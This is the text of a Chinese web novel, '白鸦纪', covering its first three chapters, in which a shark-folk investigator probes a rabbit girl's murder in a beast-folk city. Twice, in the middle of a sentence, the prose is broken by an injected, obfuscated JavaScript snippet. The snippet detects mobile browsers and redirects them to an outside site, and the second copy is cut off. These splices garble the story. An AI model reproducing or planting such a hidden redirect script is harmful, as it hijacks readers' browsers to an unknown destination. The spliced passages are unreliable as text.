《白鸦纪》 1. 癸卯夜谈:玉兔劫 爱之与恨,终皆化若尘灰,天帝垂怜,方为至后之赎愆...... 江南的那年冬天,来得晚,也来的寒。 朔风卷着细碎雪粒掠过田野,这场迟到的冬雪比纸鸢的羽更纤薄。 "可怜的小姑娘,这砭骨寒冬,你要如何捱过?” 相遇,恰似雪地上仓促交叠的脚印,被新雪覆盖的刹那,便成了时光深处的幻影,便成了故事的开章....... 每当新季的开始,南清城最赋盛名的「花月满人间」酒楼便会浮动着蜜酿与花露交融的馥郁香气。 "先生,理尚府的人来了。” 柳漠澜斜倚在湘妃竹榻上,微阖细长丹凤眼,左眼角的泪痣似滴未滴。 对这些身披官袍的家伙,他向来嗤之以鼻﹣﹣打着冠冕堂皇的旗号横征暴敛,收受贿赂时却谄媚如犬,这般作派早就让他厌恶至极。而这次来的竟是理尚府的人,这个专司刑案的衙门一旦盯上谁,往往都没什么好下场。 他倒不是担心被查出什么,只是不愿这些人搅乱生意,坏了自己清冷自持的清誉。 刚踏入酒楼,便见一道挺拔身影斜倚在柜台,洒进坊内的阳光为其镀上金边。 那男人生得一副冰雪雕琢的面容,齐肩白发随意束起,还有些许银丝垂落在脖颈间。 尾椎处蜿蜒而出的鲨鱼尾泛着金属光泽,尾尖如镰刀般锋利,莫一米多,看不出品种。 左右观望,似乎只有他一个人。 男人显然也发现了他,鲨鱼尾轻轻一摆,整个人如离弦之箭般逼近。尖锐的齿牙在唇间若隐若现,嗓音像砂纸磨过青石:"理尚府办案。" 柳漠澜抬眸,眼睫随着笑意轻颤,却不达眼底:"劳烦大人亲自驾临,不知要查什么物件?" "酒坊。"男人言简意赅,转身便要往内院走,连个寒暄的空隙都不留。 柳漠澜垂掩住眼底冷意,广袖轻扬做出请的手势:"这边请。" 青石板在对方靴底发出细碎轻响,柳漠澜放缓速度与男人并肩而行,垂眸掩去眼底警惕,语调漫不经心说道:"近日南清城风平浪静,不想竟劳大人亲自造访。"尾音婉转如春日新酿的花酒,余光却不着痕迹扫过男人棱角分明的下颌,捕捉着对方每一丝细微表情。 一阵微风吹过,吹乱额前的碎发,柳漠澜随手别到耳后,又添三分笑意: "总不能让大人无名无姓地办差,若不嫌弃,可否告知在下大人尊姓大名呢?" "本人姓江"男人似乎并不想多说什么,只是到处检查不放过任何地方。 "哦~原来是江大人啊"闻言柳澜不动声色地打量起面前的人,他听过理尚府确实有一个姓江的官人,是前两百年前刚入职的,为人正直,拉拢了不少人心。 可这样的人,为什么会来自己这呢? "柳老板知道最近一起凶杀案吗?"男人率先打破沉默开口道,像是随口一问,脸上没有任何波澜情绪。 "不知。"手指微蜷抵在下巴,柳漠澜思考片刻才开口,随后又添了一句,:"江大人知道在下的名字?" "自然"姓江的随手掀开一个酒缸的盖子,微微俯身看向缸内,:"花月满人间的老板,谁人不知?毕竟柳老板酿的酒,自称第二,谁敢称第一?" "大人过奖了。"柳漠澜闪身到对方面前,脸上堆满笑容,但一只手却将酒缸迅速盖好并死死压着,:"这酒还未发酵好,大人还是莫要乱动了,免得坏了味。" "是嘛?"男人轻挑眉梢,:"那真是抱歉,不过这酿的什么酒呢?” "曼珠沙华,本店特色花酒。" "曼珠沙华?"似是来了兴趣,男人尾音上扬,:"我听说,那好像有剧毒吧。不知柳老板用了什么办法,竟可以将其酿成佳酿。” "是不错,但只要处理妥当,也会是独特的风味呢,不过这是本店不可言传的秘密,大人见谅,"见状柳漠澜连忙转移话题,"大人刚说的什么案件是和在下的洒坊有关吗?" "那倒没有,只是死者,或许柳老板认识。"只见姓江的男人双手抱臂,看似随意地走动检查别处,但话语中的意思,柳漠澜听出了大半。 "是谁呢?这清城,在下认识的人,实在多得记不清了呢。"柳漠澜悠悠跟上前,顺手整理对方弄乱的地方。 靴跟叩击青石板的声响戛然而止,男人指节泛白地展开怀中画卷。 素绢上晕染的工笔重彩在暮色里流转,少女雪白的鬓毛用珊瑚珠串成麻花辫,弯弯杏眼点着螺子黛,笑靥间梨涡盛满春意,连那对竖起来的兔耳都仿佛要跃出画纸,将鲜活的灵气抖落在廊下。 "可识得此人?" 这张再熟悉不过的脸,柳漠澜自然认出来了。画卷上正是自己的顾客之一,是个四百来岁的小姑娘,常来自己这买米酒,她做的米酒年糕,算得上南清城十分美味受喜的。 "这是常来酒坊的客卿。"光影掠过画卷褶皱,将少女的笑靥割裂成破碎的光斑,"听闻她擅做糕点,南清城半数人家都尝过她的手艺。"尾音消散在穿堂而过的风里,带着不易察觉的震颤,:"她死了?" "嗯。"男人收起画卷,:"就在这几天。" "真是可惜。" 自然不是怜惜她的死,而是自己失去了一位稳固的客户。 "自然,所以希望柳老板日后好好配合理尚府,早日捉拿凶手。"说罢男人转身离开,不给任何继续交谈的机会。 看着渐行渐远直至消失的背影,柳漠澜低垂眼眸,思考着什么。 而刚走出酒楼的江知烨,迎面便撞上一个身影,只听闷哼一声,面前便倒了一个瘦弱的男子,但与其说是瘦弱,更多是骨瘦如柴病态的瘦,眼底是浓厚的乌青,身上衣服松松垮垮,显得男子如纸片一样,视线下移,男子下半身的蛇鳞没有一点光泽,甚至像被虐待过一般脱落了不少,一眼望去极其丑陋。 "抱...…抱歉!"男子连忙爬起来,手紧紧攥着衣角往下扯,似乎不想被看到自己的狼狈,神色慌张道完歉就跑走了。 江知烨甚至没反应过来发生了什么,再一转头面前的人早没影了。 "蛇精病……"嘟囔地吐槽一句。 走在熙攘的长街上,江知烨踏着斑驳的光影穿行。 鳞次栉比的商铺前,虎族商贩仍在挥刀剁肉,溅起的血珠混着香料气息弥漫;狐族歌女倚着朱栏曼舞,扭着尾巴在风中舒展如霞;街角处熊族孩童追逐嬉戏,仿佛那具被发现的兔族女尸,不过是春溪里转瞬即逝的浮沫。 腥风裹着血锈味掠过檐角,江知烨银白长发被吹得凌乱,碧蓝竖瞳映着市井烟火,泛起不易察觉的涟漪。 兽人的生存法则早在血脉里烙下印记——那些没能化形的幼崽,注定在兽潮中沦为口粮;侥幸化形的,不过是将兽爪换成了刀剑,在弱肉强食的修罗场里苟延残喘。两百岁成人礼也不过是普通一生匆匆一笔。唯有极少数天纵奇才,获得真元,拿民间说法,他们被称作"长生种",指尖捻碎星辰,掌心翻涌日月,却也将孤寂熬成了永恒。 传说他们踏云成仙,可江知烨见过那些不老不死者眼中的荒芜﹣﹣比死亡更可怕的,是看着所爱之人化作白骨,而自己永远停驻在时光的漩涡里…… 茶馆檐角垂着褪色的竹帘,江知烨跨进门槛时,檀木桌椅间浮动的茶香裹着三教九流的碎语扑面而来。 视线扫过满堂茶客,目光突然定在角落。 "耳朵竖这么久,听到什么干货了?"江知烨屈指叩了叩桌面,檀木发出闷响。 男人放下青瓷盏,轻声回应:"嗯。" 闻言江知烨侧身落座,胳膊肘撑在栏杆上,望着熙熙攘攘的长街。糖葫芦的吆喝声混着马蹄踏过青石板的脆响,却掩不住眼底的兴味:"展开说说?" "死者生前有个影子情人。"男人修长的手指摩挲着杯沿,"追得疯魔,又藏得严实,整条街愣是没人见过真容。" 疯狂的追求者,还无人见过? 这话让江知烨挑眉,"消息哪来的?" "喏,那只抽旱烟的兔子。"男人下巴往左侧一扬。 顺着他示意的方向望去,隔桌灰衣男子正跷着二郎腿吞云吐雾。 只见那人头顶的垂耳软耷着,天然卷的毛发支棱得像团炸开的蒲公英,手里铜烟枪滋啦作响,正跟几个穿绸裹缎的公子哥吹得唾沫横飞。 至于聊的什么,那自然污秽不堪。 江知烨用茶盖刮着浮沫,琥珀色茶汤里荡开细小涟漪:"把你那影子哥叫下来,别杵在二楼当望风的猫头鹰了。” 夜鸦闻言轻笑,喉间溢出的气音像是冰层下的暗泉。他忽然侧身倚住栏杆,骨节分明的双手交叠成精巧的孔洞,凑到唇边轻吹。 霎时间,清脆的鸟鸣穿透茶馆喧闹——那声音时而婉转如夜莺啼柳,时而尖锐似雄鹰裂空,惊得屋檐下的麻雀扑棱棱乱飞。 楼梯口很快传来急促的脚步声,只见一抹黑影旋风般掠至桌前,:"大人!" 江知烨转着茶盏打量这对孪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694733|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生兄弟,忍不住笑出声:"啧啧,说句难听的,这几年相处,我还是很难分清你两呢。" 两个黑衣身影并排而坐,连垂眸时睫毛投下的阴影都如出一辙,活脱脱从同一个模子里刻出来的双生莲,"你们兄弟往这一坐,怕不是要让姑娘们看花了眼,以为茶馆闹了双生鬼魅呢!" “大人莫要打趣我和小白了。” “行,那不打趣了,说说你那么久的时间都听到什么看到什么了。”江知烨双手交叉抵在下巴,一副洗耳恭听地样子。 渡鸦喉结猛地滚动,耳尖以肉眼可见的速度泛起薄红。 他佯装镇定地抬手蹭了蹭鼻尖,支支吾吾半天,含混不清的嘟囔声几乎要被茶馆里的喧嚣吞没:"好像......确实有那么点线索?又好像......没抓着实处......大概......" 江知烨指尖叩着桌面,清脆的声响惊得渡鸦猛地抬头。 对上那双洞悉一切的眼睛,他瞬间泄了气,:"我、我就分神看了眼糖画摊......"话音未落,头顶已经结结实实挨了一拳。 “我还以为魂儿又飘到哪个姑娘窗棂上了呢?瞧这眼神,怕不是把我问话当成戏台子上的水磨腔,听着听着就入了迷?" “哎呀大人,哥哥可能只是恰巧没听到毕竟这茶馆又不是人人都提及这件事。”闻言夜鸦连忙出声圆场。 “哦对还有你,你兄弟俩从来都讲公平是不是。”话毕,夜鸦头顶也结结实实挨了一拳。 “也罢,有线索就行,不为难你俩了。”江知烨揉了揉眉心,似是终于无奈。 “谢大人!”见对方不再为难,渡鸦激动抬起头,下一秒,江知烨宽大的双手分别按住自己和夜鸦的脑袋用力晃了晃。 “快去找线索!不然不给你俩吃饭了!” "是是是马上去!”挣脱”死亡”般的束缚,夜鸦连忙推着渡鸦撒腿就跑,深怕再被骂。 望着两人如惊弓之鸟般匆匆遁去的背影,江知烨不禁哑然失笑,轻轻摇了摇头,似是对这两人的反应感到又好气又好笑。 恰在这时,一只白鸽灵巧地穿过茶馆半掩的窗扉,轻盈地落在斑驳的木桌上。 小巧的胸脯一起一伏,发出清脆的“咕咕”声,灵动的圆眼滴溜溜转着,像是在向江知烨传达着什么。 江知烨微微挑眉,定睛看去,只见鸽子的一条腿上,用细麻绳紧紧绑着一张窄窄的信纸,在微风中轻轻晃动。 他伸手解开绳结,取下信纸,那鸽子像是完成使命一般,扑扇了几下洁白的羽翼,箭一般冲向了澄澈的蓝天。 江知烨缓缓展开信纸,只一眼,他的眸光瞬间暗沉下去。 他捏着纸条边缘的指尖,因内心翻涌的情绪而不自觉收紧,泛出一片异样的苍白,仿佛那薄薄的纸张上,承载着千斤重担。 这帮人.....真是一刻都不闲着啊....... 将信纸随手撕成碎片往外一撒,碎片如飞花一般随风而去,却散不去心中的烦躁。 转头看向隔壁桌,发现刚才那帮绔纨子弟已经离开了,独留空气中挥散不去的烟草味和随手放在桌子上的铜钱。 坐了一会儿,就当江知烨准备起身离开时,余光便看见店中小二朝自己走来,可是自己没点茶水啊,江知烨大脑飞快思考,突然像是反应过来什么,一股恨铁不成钢的情绪直冲脑门。 这两货没付茶水钱! 难怪一开始非要来茶馆打听消息,合着是想白吃白喝算计自己呢! 从茶馆走出来时,江知烨恨得直咬牙,两个饭桶,谁家喝茶吃十碟樱花糕啊!还外带两包蜜饯。 气急败坏之时,不经意抬头望天,夕阳西垂,傍晚的天幕似被打翻的暖色调颜料盘,晕染出层层叠叠的金黄。灼目的光线直直撞进他眼底,莫名地,心底的躁郁竟如薄雾遇暖阳,悄然消散几分。 默默伫立,望着那轮高悬的日头,思绪飘远。 今年的白昼,出奇地漫长。 像是命运伸出的无形触手,在时间的织锦上肆意拉扯。这冗长的白昼,究竟是恩赐,还是诅咒? “再长一些吧……”喃喃低语,声音被喧嚣的市声吞没。 像是期许,又像是无奈的哀求。 让这白昼延续,让那吞噬一切的黑夜,来得更迟缓些……仿佛只要黑夜未至,所有的挣扎、抉择与潜藏在心底的恐惧,便都能被暂且搁置。 可他心底清楚,黑夜终会降临,带着它的缄默与未知,将一切都笼罩。 2. 墨痕暗香:狭路君子 江南水乡,一入梅雨季,空气便似浸了水的绸缎,黏腻得让人发慌。天空终日雾霭沉沉,像一块湿漉漉的灰布,沉甸甸地压在人心头,连呼吸都变得滞重。 江知烨身为世上罕有的能栖息于淡水的鲨族后裔,对夏季的溽热与梅雨季的潮闷尤为敏感。 每到此时,那份不适便如附骨之疽,搅得他心烦意乱。也正因如此,他常一头扎进水里,有时一泡就是整日。若不是生来便属于这片水域,只怕早被泡得浮肿不堪了。 “大人,医馆那边关于尸体的检查结果出来了。”门外,一道沉稳男声适时响起。 “拿进来。”江知烨慵懒地从浴桶中坐起,几缕冰冷的水珠顺着他的发梢滑落,有的水珠调皮地顺着他的脸颊蜿蜒而下,滑过精致的锁骨,擦过其上的痣,最终滴落在结实的胸膛,复又融入桶中。 他随手扯过一旁的浴巾,随意擦了擦手,便从来人手中接过书信,目光如电,快速扫过字里行间。 许久,江知烨将书信仔细折好,置于一旁,抬手揉了揉太阳穴,似在驱散那隐隐泛起的胀痛。沉思片刻后,他缓缓开口:“派人去查死者店中窖内的米酒。” “是!”那人领命而去,脚步声在潮湿的石板路上渐渐隐没。 指尖轻敲浴桶边缘,声音回荡在屋内,江知烨烦躁地将整个人浸泡在水中,直到氧气不足而不小心呛到水才猛地坐起,激起一片水花,没有丝毫犹豫,江知烨甚至顾不得擦干身体,匆匆从浴桶里出来穿好衣服夺门而出。 “大人,怎么了嘛?”乌鸦两兄弟见自家大人如此急促,连忙从屋顶跳下来跟上去询问。 “叫上子规去把前几日那兔子精带回来,我有事问他。”没有过多解释,江知烨丢下这一句便风风火火地离开了。 兄弟俩你望我,我望你,都是一头雾水。 一路火花带闪电来到“花月满人间”外头,江知烨才停下喘口气,此时酒坊老板柳漠澜正在柜台旁,一手拿着账本,一手快速拨弄算盘,嘴里还念念有词。 其实江知烨打心底觉得柳漠澜长得好看,既有美人婉转柔媚之姿,又不失男子的飒爽英气。 犹如高岭之花,令人心生敬畏,不敢轻易亵。 “啪”的一声,江知烨给自己一记响亮的耳光打断自己恶劣的想法,打的自己眼冒金星,脸火辣辣地疼,而这一动静自然也引起了柳漠澜的注意。 “江大人?”柳漠澜挑起眉梢,似对对方的出现很意外,但更意外的是随着目光移动,柳漠澜这才发现眼前人的右脸,明显比左脸红肿,五个手指印明晃晃地贴在脸上。 这家伙被打了? 柳漠澜第一反应,可见他周围又空无一人,心中更加疑惑了。 这家伙不会有什么受虐倾向吧,自己打自己,还打那么狠。 一个念头刷新了柳漠澜对江知烨的认知。 “柳老板在忙?”见状江知烨立刻换上一副冷淡又严肃的神情,双手背后像什么也没发生一样走进酒楼。 “还好,理一下账目罢了。” 察觉到对方直勾勾地目光,江知烨觉得丢脸,索性偏过头假装到处看只给对方看自己另一半脸。 对于某人不自在地行为,柳漠澜没有揭穿,只是询问对方此次前来的目的。 “呃......想到一些关于案件的事,就,就来问问柳老板” “上次不是来过来吗?” “呃.....上次没有头绪只是随便看看。”江知烨感觉自己快把持不住自己的窘迫了,疯狂想找点理由,:“啊对了,我想来买点米酒。” “哦,给钱。” 闻言江知烨有那么一瞬间是哽住的,果然最毒还得生意人。 乖乖掏钱买了一坛米酒在对方一脸慢走不送的表情下,江知烨缓缓走出酒楼,但下一秒他就后悔了,自己火急火燎地跑过来就是为了买东西? 江知烨恨不得再给自己左脸来一巴掌,自己来干什么全忘了。 酒坛在掌心硌出凉意,江知烨晃着步子穿过熙攘长街。吆喝声裹着糖炒栗子的焦香扑面而来,绣着金线的灯笼在头顶连成流霞,恍惚间竟让他动了给府里那几个馋嘴家伙捎带点心的念头。 突然他猛地驻足,锐利的目光如鹰隼般扫过四周。 行人依旧步履匆匆,小贩们依旧热情吆喝,可那种被暗处猛兽盯上的惊悚感,却愈发强烈。 江知烨下意识地咽了咽口水,常年游走于案发现场的直觉,让他确信,有一双眼睛,正藏在某个角落,死死盯着自己。 几个箭步闪进了一旁阴暗逼仄的小巷。潮湿的青苔沿着斑驳的墙根肆意蔓延,腐烂的果蔬、发馊的剩菜,混杂着某种难以名状的腐臭气息扑面而来。 但最让江知烨胃部翻涌的,是那股若有若无、带着阴冷气息的灵魂腐败味——这种味道,他太熟悉了,每次有棘手命案发生时,总会伴随着这样的气息。 身为鲨鱼族,他的嗅觉敏锐得可怕,哪怕空气中只有一丝血的腥味,都逃不过他的鼻子。可此刻,这过人的天赋反倒成了折磨。刺鼻的恶臭像一双无形的大手,死死扼住他的喉咙,熏得他眼前阵阵发黑,差点当场晕过去。 江知烨用力晃了晃脑袋,强打起精神。他紧了紧手中的酒坛,加快脚步朝着气息来源追去。越往里走,那股味道愈发浓烈,还隐隐夹杂着一股陌生又诡异的气息。 突然,一阵急促的脚步声从左侧传来。江知烨猛地转身,却只瞥见一道黑影一闪而过。 那家伙显然对这里的地形了如指掌,在狭窄的巷道中灵活穿梭,一会儿跃上墙头,一会儿又消失在某个拐角。江知烨紧追不舍,酒坛在他手中随着奔跑剧烈晃动,酒水不时溅出,在地上留下深色的痕迹。 转过一个又一个弯,江知烨感觉自己仿佛陷入了一个黑暗的迷宫。 那黑影就像一只狡黠的狐狸,每次在他以为就要抓住的时候,又巧妙地躲开。更可恶的是,对方还时不时发出几声挑衅的冷笑,回荡在空旷的巷道中,刺耳又恼人。 “有种别跑!”江知烨咬牙切齿地低吼一声,加快了脚步。 潮湿的地面让他脚下打滑,险些摔倒,但他很快稳住身形,继续朝着那若隐若现的气息追去。 可无论怎么看,他都处于劣势,对方在绝对优势的情况下,把自己耍的团团转。 兜兜转转约莫一刻钟,江知烨才发现目标消失了。 就好像猫抓老鼠一样。 把老鼠玩到精疲力竭后,就不再有兴趣,随意处理了。 江知烨自然成为那个“老鼠”。 而自己,也中了圈套,被困于迷宫般的暗巷里。 黑暗如同实质的墨汁,浓稠地泼洒在每一寸空间。头顶杂乱堆砌的砖石像一张狰狞的巨网,将仅存的微光绞杀殆尽,暗巷瞬间坠入更深的幽冥。 腐臭、血腥、霉味裹挟着不知名的腥气,如千万只无形的虫蚁,顺着鼻腔疯狂钻入体内,啃噬着每一根神经。 江知烨的太阳穴突突直跳,眼前的景象扭曲成诡谲的漩涡,重影交叠间,连呼吸都成了灼烧般的剧痛。 踉跄着撞向黏腻的砖墙,指甲深深抠进长满青苔的墙缝,指节因用力泛出青白。 身后突然响起细碎的响动,江知烨猛然转身,却只见一只灰老鼠正啃食腐肉,猩红的小眼睛在幽暗中泛着诡异的光。 四目相对的刹那,只觉天旋地转,胃里一阵翻江倒海。手中酒坛“砰”地坠地,陶片四溅,浓烈的酒香混着腐臭在空气中炸开。紧接着,重物倒地的闷响惊飞了檐下的夜枭,江知烨挣扎着想要起身,可双腿却像被抽去了骨头般绵软无力。 在意识即将消散的瞬间,江知烨恍惚看到一双皮靴缓缓靠近,地面传来重物拖行的刺耳声响,像是装满砖石的木轮碾过青石板。 本能地伸出手,想要抓到什么,可指尖却只触到虚空。 黑暗如潮水般彻底将其淹没,而那若有若无的脚步声,成了他晕死前最后的梦魇........ 等再次醒来便是在江府了,眼前是熟悉的床幢,以及听了就心烦的声音。 “大人!您终于醒了,吓死俺两了!”顾时夜和顾夜白哭天喊娘地扑上来,好像眼前人是死而复生,一松手就会消失的彻底。 “起......起开......压死我了.....”江知烨艰难吐出几个字,两个刚成年的小伙子对自己这种快一把年纪的身子骨来说,还是太勉强了。 “哦好好。”见状两兄弟连忙起身 ,还献殷勤般地把人扶起来坐着,又是捏腿又是捶肩的。 “我昏迷多久了。”江知烨揉了揉还有点晕的太阳穴,嗓音是刚睡醒的沙哑。 “一天”顾时夜率先开口,:“我和小白完成您吩咐的任务后就一直等您,结果您迟迟不回来。” “那谁带我回来?” “是白鸽,哦对了安大人也来了,要叫进来吗?” “嗯叫进来吧。”江知烨整理好衣衫,翻身下床。 所谓的安大人则是自己的上级,自己是被他一手提拔上来的,白鸽则是他的副使,不过因为一点原因,现在在自己手下。 不过多一会儿的,门外便传来一阵脚步声,见状江知烨连忙站直身体不敢有一些懈怠。 来人除了顾时夜和顾夜白,便是一个强壮高大的男人,身边还跟着一个小巧的妙龄女子。 要说评价眼前的两个人,那只能用郎才女貌了: 男子身形挺拔,比自己高出半头,金发紫瞳,齐肩的头发隐约露出尖耸的狮子兽耳。右眼角与下唇点缀的两颗浅痣,为冷硬面容添了几分惑人韵致。 而身旁的少女恰似春日里绽放的铃兰,白金色短发俏皮地卷曲,两缕扎着发绳的小辫垂在胸前,随着步伐轻轻晃动。她长长的睫毛掩住眼底情绪,下垂的眉梢与上挑的眼尾交织出一抹忧郁。 可当她抬眸时,翠绿的瞳孔如林间清泉,瞬间焕发出勃勃生机。而她下巴那颗小巧的痣,宛如点睛之笔,为这张灵动的面容增添了几分蛊惑人心的魅力。 “安大人。”江知烨抱拳行礼。 “无妨,你刚醒来,先坐着吧” “谢大人” “你怎么倒在那个地方?”安德鲁坐到椅子上,挥手屏退其余人。 “说来话长,说实在我也不知道发生了什么,就突然晕过去。”江知烨微微皱起眉头,手指卷曲抵在下巴处思考片刻。 “迷药。” “什么?” “医馆的人来检查了说你是被迷药迷晕的,而且这迷药出的特殊,居然一点点就可以使人晕一天。”安德鲁停顿一下随后继续说道,:“你知道你昏迷前抓了什么吗?” “什么,我不知道啊。”江知烨紧紧盯着安德鲁,神色紧张,手不自觉攥紧了衣角。 下一秒只见安德鲁从衣袖中拿出一个小果子一样的东西随手抛给江知烨。 “认滴不?” 江知烨瞳孔骤缩,薄唇微颤地看着手心的果实,一时说不出话来,犹豫了好久才找回自己的声音,:“认得,花君子。” “嗯,那你知道这是城里禁止的吧。”安德鲁双手抱臂,漫不经心地继续说,:“花君子稍微提炼一下可以做很多让人致幻上瘾的东西,这其实我知道肯定会有的,本来偷偷摸摸的,只要不泛滥,都察院也不会管,抽死就抽死了呗,但奈何你发现了,那先派点人去找吧。” “是。” “对了,你之前要妙妙他们去抓的那个兔族兽人,安排在偏院了,还有这是你手下的人要给你的。”安德鲁又掏出一个被封好的信袋交给江知烨。 “那人反抗没?”江知烨一边撕开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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随后两人不多犹豫一前一后来到偏院的一间卧房,只见那个被带回来的兔族兽人脸上赫然青一块紫一块的,正躺在软榻上睡的四仰八叉。 见状安德鲁气打不一处来,上前直接拎起那兽人的衣领就将其甩到地板上。 一声沉重的闷响,那兽人直呼哎呦的爬起来,还没反应过来发生了什么,一见到安德鲁那张脸连忙四肢并用的连滚带爬躲到角落,嘴里还在不停求饶。 很难想象他之前是如何被安德鲁对待的才变成这个样子。 “你和她什么关系。”江知烨才懒得管这些,不多口舌,径直拿出画卷举到对方面前。 兴许是看江知烨不会再打自己,那人稍微放松下来,瞥了一眼画卷,平淡开口,:“这是我姐姐。” “你之前在茶馆说她有一个疯狂的追求者,你知道那是谁吗?” “啊....这个”那人看了看画卷又抬眼看了看江知烨,眼珠子饶有算计地轻轻一转溜,立马换上一副小人得志的嘴脸,眼里满是贪婪,:“认识.....但...”只见其抬起手,拇指和食指来回搓动几次,言外之意不言而喻。 “我看你真是吃了熊心豹子胆了!”暴脾气的安德鲁上前揪住那人的衣领直接像提小鸡仔一样把人提起来,额前青筋暴跳。 可是那人非但不怕反而一脸挑衅地眯了眯眼,:“你可以杀了我啊,一家连死两个人,你说这事会不会闹大?” 闻言安德鲁自知不能冲动,手上力道一松放了那人,:“会给你想要的,快说。” “别急嘛,我说。”见目的达到,那兽人不紧不慢地整理起被弄乱的衣裳,转而又理了理额前碎发,随后双手抱臂懒散往墙上一靠,这才悠悠继续开口,:“有家公子哥,虽然我不知道他到底长什么样,可他看上我姐了,我姐不答应,可能是觉得那人总是半夜骚扰她,不过那人有钱,为了追我姐给了不少好东西出手也阔绰,可惜自从我姐死后,他倒是消失的一干二净了。” “那人在哪?”江知烨死死盯着眼前人,不放过任何一丝表情变化。 “意城。” 传闻因吃人而爆发长达三十年瘟疫的鬼城..... 暮色将庭院染成蜜色,江知烨与安德鲁对坐在石桌旁。安德鲁指尖绕着发尾打圈,一声不吭似在思索,江知烨则盯着石桌上蔓延的苔藓纹路,指节在斑驳的石面敲出断续节奏。 "意城来的外乡人,三更半夜纠缠南清城姑娘?"安德鲁嗤笑一声,"这谎编得比沼泽里的烂泥还糊人。 ” "渡鸦和夜鸦已去查探,快则三四日便有消息。"江知烨眉间皱出沟壑,话音未落,安德鲁突然被拽了拽衣袖——方妙撅着小嘴,眨巴着眼睛,掌心摊开作讨要状。 见状安德鲁懒洋洋地掏出钱袋,江知烨也只能苦笑着摸出几枚铜钱,任由少女哼着小曲蹦跳远去。 "都察院那群苍蝇再缠着不放,我头顶怕是要秃成铜镜。"安德鲁突然将钱袋甩在桌上,鎏金扣撞出清脆声响,"不如找个替罪羊?先堵住那帮人的嘴,事后再假作冤屈放人,塞点银钱封口,保管比哑巴还老实。反正我掌着刑狱,他们敢放半个屁?" 江知烨摩挲着下巴,目光落在墙头嬉闹的麻雀身上:"可这替罪羊该如何选?" "你不是提过蛇族咬痕?"安德鲁语气平淡得像在说今日的茶凉了,"抓个蛇族充数便是。" "一片枯叶能掀起什么风浪?若真敢乱吠——"话音戛然而止,安德鲁指尖划过喉间,动作轻柔却寒意刺骨,"有的是法子让他永远闭嘴。" 风掠过墙头,惊起雀群。 江知烨望着扑棱棱的羽翼,竟觉得那些叽叽喳喳的叫声,竟像是替罪者无声的哀鸣。 在这权力翻云覆雨的城池里,弱者的命,原不过是棋盘上随意挪动的弃子。 不过也是,不识相的种,留着也没用.... 3. 秘密是藏在起来的 当踏入意城地界时,细密的雨丝正从铅灰色的云层里簌簌落下。 这座城池仿佛被浸泡在潮湿的雾气中,连阳光都成了稀罕物。低垂的天幕下,参天古树如巨人般耸立,枝干相互纠缠着向上生长,竞相争夺那一丝微弱的天光。 脚下的土地绵软潮湿,一踩便是深深的脚印,积水的洼地里倒映着破碎的树影,泛着浑浊的灰绿色。腐木横陈在泥泞间,经年累月的浸泡让它们布满青苔,散发出令人作呕的腐朽气息。 顾夜白斜倚在粗壮的树干上,斗笠的阴影遮住了大半张脸,唯有那颗点缀在下巴的墨痣若隐若现。"哥,前面就是意城了,你有什么计划吗?"声音裹着雨雾,透着几分清冷。 顾时夜随意吐掉嘴里的狗尾巴草,抖了抖被雨水打湿的羽翼,“先进去吧,大人不准我们起冲突。” 随着他化作乌鸦的瞬间,羽翼划破雨幕,发出低沉的振翅声。顾夜白也迅速化作原型,两只乌鸦一前一后,向着雾气弥漫的城池飞去。 与南清城的繁华喧闹不同,意城仿佛一座被时光遗忘的城池。 狭窄的街道上冷冷清清,偶尔传来几声有气无力的叫卖,在空旷的巷弄里回荡。街边的店铺大多门可罗雀,褪色的招牌在风雨中摇晃,积满灰尘的橱窗里陈列着无人问津的货物。 越往城中深处走去,才隐约可见几户大户人家的宅邸。高高的院墙隔绝了外界的喧嚣,却也隔绝了生机。 或许是因为这恼人的雨,庭院中空无一人,寂静得可怕。唯有几扇窗户透出昏黄的灯光,在雨幕中摇曳,如同一双双疲惫的眼睛,勉强证明着这座城池还有些许生气。 檐角雨帘垂落如珠串,两只乌鸦栖在游廊梁柱上。顾夜白抖落羽翼上的水珠,眼珠滴溜溜转动。 廊下蛛网垂着雨珠,院中枯槐枝桠横斜,满地落叶积了厚厚的腐层,竟连一丝被踩踏的痕迹都无。 紧闭的雕花木门蒙着薄灰,锁孔里结着绿锈,整个宅邸寂静得仿佛被时光遗忘。 顾时夜倏然化作人形,落地轻若飘雪,靴尖碾碎枯叶的声响都似被这死寂吞噬。 他望着空荡的庭院,喉间发出一声沉吟:“小白,你瞧这宅子像什么?” “像座荒冢。”顾夜白指尖拂过冰冷的铜锁,锁面的麒麟纹早已模糊不清,“锁芯锈得不成样子,起码有月余无人问津。”他忽然凑近门缝,鼻尖微动:“连耗子的气息都没有。” 顾时夜双臂抱在胸前,玄色劲装被穿堂风鼓起,:“意城处处透着古怪,连空气都像浸了毒的死水。”话音未落,他突然俯身,目光贴着门缝游走。 “让我来。”顾夜白拨开对方,屈指如钩扣住门环。刚要发力,却听“轰隆”一声巨响——顾时夜早如离弦之箭,靴底带着劲风踹向门板。 陈年木屑混着灰尘冲天而起,惊得梁上燕巢簌簌落土。 “哥!”顾夜白被气浪呛得连连后退,袖袍在空中舞得像只灰蝴蝶,“大人说过不许擅动蛮力!” 顾时夜拍了拍掌心的木屑,挑眉指着摇摇欲坠的门板:“分明还……”话未说完,腐朽的门框发出不堪重负的呻吟,“哗啦”一声轰然倒地,扬起的灰雾裹着陈年霉味直冲面门。 他僵在原地,指尖还保持着拍打的姿势,耳尖泛起可疑的红晕:“这个……我定会修好的......”声音越来越小,最后几不可闻,倒像是说给自己听的。 